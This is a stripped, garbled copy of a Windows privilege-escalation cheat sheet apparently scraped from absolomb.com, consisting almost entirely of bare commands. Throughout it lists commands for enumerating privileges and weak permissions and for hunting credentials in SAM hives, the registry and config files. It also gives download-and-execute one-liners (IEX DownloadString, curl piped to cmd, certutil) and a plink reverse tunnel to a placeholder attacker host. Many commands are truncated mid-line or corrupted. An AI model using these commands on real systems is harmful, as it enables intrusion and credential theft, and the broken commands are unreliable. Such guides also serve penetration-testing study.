Windows Privilege Escalation Guide - 31/10/2024 17:34 https://www.absolomb.com/2018-01-26-Windows-Privilege-Escalation-Guide/





systeminfo wmic qfe

LOGONSERVER

set

Get-ChildItem Env: | ft Key, Value

net use
wmic logicaldisk get caption,description,providername

Get-PSDrive | where {\$\_.Provider -like "Microsoft.PowerShell.Core\FileSystem"}| ft Name,

whoami echo %USERNAME%



whoami /priv

```
net users
dir /b /ad "C:\Users\"
dir /b /ad "C:\Documents and Settings\" # Windows XP and below
```

```
Get-LocalUser | ft Name, Enabled, LastLogon
Get-ChildItem C:\Users -Force | select Name
```

qwinsta

net localgroup

Get-LocalGroup | ft Name

net localgroup Administrators



reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon" 2>nul | findstr "

Get-ItemProperty -Path 'Registry::HKEY\_LOCAL\_MACHINE\SOFTWARE\Microsoft\Windows NT\Curre

cmdkey /list

dir C:\Users\username\AppData\Local\Microsoft\Credentials\
dir C:\Users\username\AppData\Roaming\Microsoft\Credentials\

Get-ChildItem -Hidden C:\Users\username\AppData\Local\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\username\AppData\Roaming\Microsoft\Credentials\

%SYSTEMROOT%\repair\SAM

%SYSTEMROOT%\System32\config\RegBack\SAM

%SYSTEMROOT%\System32\config\SAM

%SYSTEMROOT%\repair\system

%SYSTEMROOT%\System32\config\SYSTEM

%SYSTEMROOT%\System32\config\RegBack\system

```
Get-ChildItem 'C:\Program Files', 'C:\Program Files (x86)' | ft Parent,Name,LastWriteTime
Get-ChildItem -path Registry::HKEY_LOCAL_MACHINE\SOFTWARE | ft Name
```

```
icacls "C:\Program Files\*" 2>nul | findstr "(F)" | findstr "Everyone"
icacls "C:\Program Files (x86)\*" 2>nul | findstr "(F)" | findstr "Everyone"

icacls "C:\Program Files\*" 2>nul | findstr "(F)" | findstr "BUILTIN\Users"
icacls "C:\Program Files (x86)\*" 2>nul | findstr "(F)" | findstr "BUILTIN\Users"
```

```
icacls "C:\Program Files\*" 2>nul | findstr "(M)" | findstr "Everyone"
icacls "C:\Program Files (x86)\*" 2>nul | findstr "(M)" | findstr "Everyone"

icacls "C:\Program Files\*" 2>nul | findstr "(M)" | findstr "BUILTIN\Users"
icacls "C:\Program Files (x86)\*" 2>nul | findstr "(M)" | findstr "BUILTIN\Users"
```

```
Get-ChildItem 'C:\Program Files\*','C:\Program Files (x86)\*' | % { try { Get-Acl $_ -EA Get-ChildItem 'C:\Program Files\*','C:\Program Files (x86)\*' | % { try { Get-Acl $_ -EA Get-Acl
```



```
tasklist /svc
tasklist /v
net start
sc query
```

Get-Process -IncludeUserName

```
Get-Process | where {$_.ProcessName -notlike "svchost*"} | ft ProcessName, Id
Get-Service
```

```
Get-WmiObject -Query "Select * from Win32_Process" | where {$_.Name -notlike "svchost*"}
```

```
accesschk.exe -uwcqv "Everyone" *
accesschk.exe -uwcqv "Authenticated Users" *
accesschk.exe -uwcqv "Users" *
```



```
schtasks /query /fo LIST 2>nul | findstr TaskName
dir C:\windows\tasks
```

```
Get-ScheduledTask | where {$_.TaskPath -notlike "\Microsoft*"} | ft TaskName,TaskPath,St
```

```
wmic startup get caption,command
reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Run
reg query HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce
reg query HKCU\Software\Microsoft\Windows\CurrentVersion\Run
reg query HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce
dir "C:\Documents and Settings\All Users\Start Menu\Programs\Startup"
dir "C:\Documents and Settings\%username%\Start Menu\Programs\Startup"
```

```
Get-CimInstance Win32_StartupCommand | select Name, command, Location, User | fl
Get-ItemProperty -Path 'Registry::HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVe
Get-ItemProperty -Path 'Registry::HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVe
Get-ItemProperty -Path 'Registry::HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVe
Get-ItemProperty -Path 'Registry::HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVe
Get-ChildItem "C:\Users\All Users\Start Menu\Programs\Startup"
Get-ChildItem "C:\Users\$env:USERNAME\Start Menu\Programs\Startup"
```

reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated



## ipconfig /all

Get-NetIPConfiguration | ft InterfaceAlias,InterfaceDescription,IPv4Address
Get-DnsClientServerAddress -AddressFamily IPv4 | ft

## route print

Get-NetRoute -AddressFamily IPv4 | ft DestinationPrefix,NextHop,RouteMetric,ifIndex

## arp -a

Get-NetNeighbor -AddressFamily IPv4 | ft ifIndex,IPAddress,LinkLayerAddress,State

## netstat -ano



```
netsh firewall show state
netsh firewall show config
netsh advfirewall firewall show rule name=all
netsh advfirewall export "firewall.txt"
```

netsh dump

reg query HKLM\SYSTEM\CurrentControlSet\Services\SNMP /s

Get-ChildItem -path HKLM:\SYSTEM\CurrentControlSet\Services\SNMP -Recurse

reg query HKCU /f password /t REG\_SZ /s
reg query HKLM /f password /t REG\_SZ /s



Get-Childitem -Path C:\ -Include \*unattend\*,\*sysprep\* -File -Recurse -ErrorAction Silent

dir /a C:\inetpub\
dir /s web.config
C:\Windows\System32\inetsrv\config\applicationHost.config

Get-Childitem -Path C:\inetpub\ -Include web.config -File -Recurse -ErrorAction Silently

C:\inetpub\logs\LogFiles\W3SVC1\u\_ex[YYMMDD].log
C:\inetpub\logs\LogFiles\W3SVC2\u\_ex[YYMMDD].log
C:\inetpub\logs\LogFiles\FTPSVC1\u\_ex[YYMMDD].log
C:\inetpub\logs\LogFiles\FTPSVC2\u\_ex[YYMMDD].log

dir /s php.ini httpd.conf httpd-xampp.conf my.ini my.cnf

Get-Childitem -Path C:\ -Include php.ini,httpd.conf,httpd-xampp.conf,my.ini,my.cnf -File

dir /s access.log error.log



```
dir /s *pass* == *vnc* == *.config* 2>nul
```

Get-Childitem -Path C:\Users\ -Include \*password\*,\*vnc\*,\*.config -File -Recurse -ErrorAc

```
findstr /si password *.xml *.ini *.txt *.config 2>nul
```

Get-ChildItem C:\\* -include \*.xml,\*.ini,\*.txt,\*.config -Recurse -ErrorAction SilentlyCon



```
(New-Object System.Net.WebClient).DownloadFile("https://server/filename", "C:\Windows\Text{Text}
```

```
IEX(New-Object Net.WebClient).downloadString('http://server/script.ps1')
```

```
$browser = New-Object System.Net.WebClient;
$browser.Proxy.Credentials = [System.Net.CredentialCache]::DefaultNetworkCredentials;
IEX($browser.DownloadString('https://server/script.ps1'));
```

```
echo $webclient = New-Object System.Net.WebClient >>wget.ps1
echo $url = "http://server/file.exe" >>wget.ps1
echo $file = "output-file.exe" >>wget.ps1
echo $webclient.DownloadFile($url,$file) >>wget.ps1

powershell.exe -ExecutionPolicy Bypass -NoLogo -NonInteractive -NoProfile -File wget.ps1
```

```
echo open 10.10.10.11 21> ftp.txt
echo USER username>> ftp.txt
echo mypassword>> ftp.txt
echo bin>> ftp.txt
```



certutil.exe -urlcache -split -f https://myserver/filename outputfilename

certutil.exe -encode inputFileName encodedOutputFileName
certutil.exe -decode encodedInputFileName decodedOutputFileName

curl

curl http://server/file -o file
curl http://server/file.bat | cmd

IEX(curl http://server/script.ps1);Invoke-Blah



plink.exe

plink.exe -l root -pw password -R 445:127.0.0.1:445 YOURIPADDRESS

ssh -l root -pw password -R 445:127.0.0.1:445 YOURIPADDRESS

C:\Apache\conf\httpd.conf

C:\Apache\logs\access.log

C:\Apache\logs\error.log

C:\Apache2\conf\httpd.conf

C:\Apache2\logs\access.log

C:\Apache2\logs\error.log

C:\Apache22\conf\httpd.conf

C:\Apache22\logs\access.log

C:\Apache22\logs\error.log

C:\Apache24\conf\httpd.conf

C:\Apache24\logs\access.log

C:\Apache24\logs\error.log

```
C:\php7\php.ini
C:\Program Files (x86)\Apache Group\Apache\conf\httpd.conf
C:\Program Files (x86)\Apache Group\Apache\logs\access.log
C:\Program Files (x86)\Apache Group\Apache\logs\error.log
C:\Program Files (x86)\Apache Group\Apache2\conf\httpd.conf
C:\Program Files (x86)\Apache Group\Apache2\logs\access.log
C:\Program Files (x86)\Apache Group\Apache2\logs\error.log
c:\Program Files (x86)\php\php.ini"
C:\Program Files\Apache Group\Apache\conf\httpd.conf
C:\Program Files\Apache Group\Apache\conf\logs\access.log
C:\Program Files\Apache Group\Apache\conf\logs\error.log
C:\Program Files\Apache Group\Apache2\conf\httpd.conf
C:\Program Files\Apache Group\Apache2\conf\logs\access.log
C:\Program Files\Apache Group\Apache2\conf\logs\error.log
C:\Program Files\FileZilla Server\FileZilla Server.xml
C:\Program Files\MySQL\my.cnf
C:\Program Files\MySQL\my.ini
C:\Program Files\MySQL\MySQL Server 5.0\my.cnf
C:\Program Files\MySQL\MySQL Server 5.0\my.ini
C:\Program Files\MySQL\MySQL Server 5.1\my.cnf
C:\Program Files\MySQL\MySQL Server 5.1\my.ini
C:\Program Files\MySQL\MySQL Server 5.5\my.cnf
C:\Program Files\MySQL\MySQL Server 5.5\my.ini
C:\Program Files\MySQL\MySQL Server 5.6\my.cnf
C:\Program Files\MySQL\MySQL Server 5.6\my.ini
C:\Program Files\MySQL\MySQL Server 5.7\my.cnf
C:\Program Files\MySQL\MySQL Server 5.7\my.ini
C:\Program Files\php\php.ini
C:\Users\Administrator\NTUser.dat
C:\Windows\debug\NetSetup.LOG
C:\Windows\Panther\Unattend\Unattended.xml
C:\Windows\Panther\Unattended.xml
C:\Windows\php.ini
C:\Windows\repair\SAM
C:\Windows\repair\system
C:\Windows\System32\config\AppEvent.evt
```

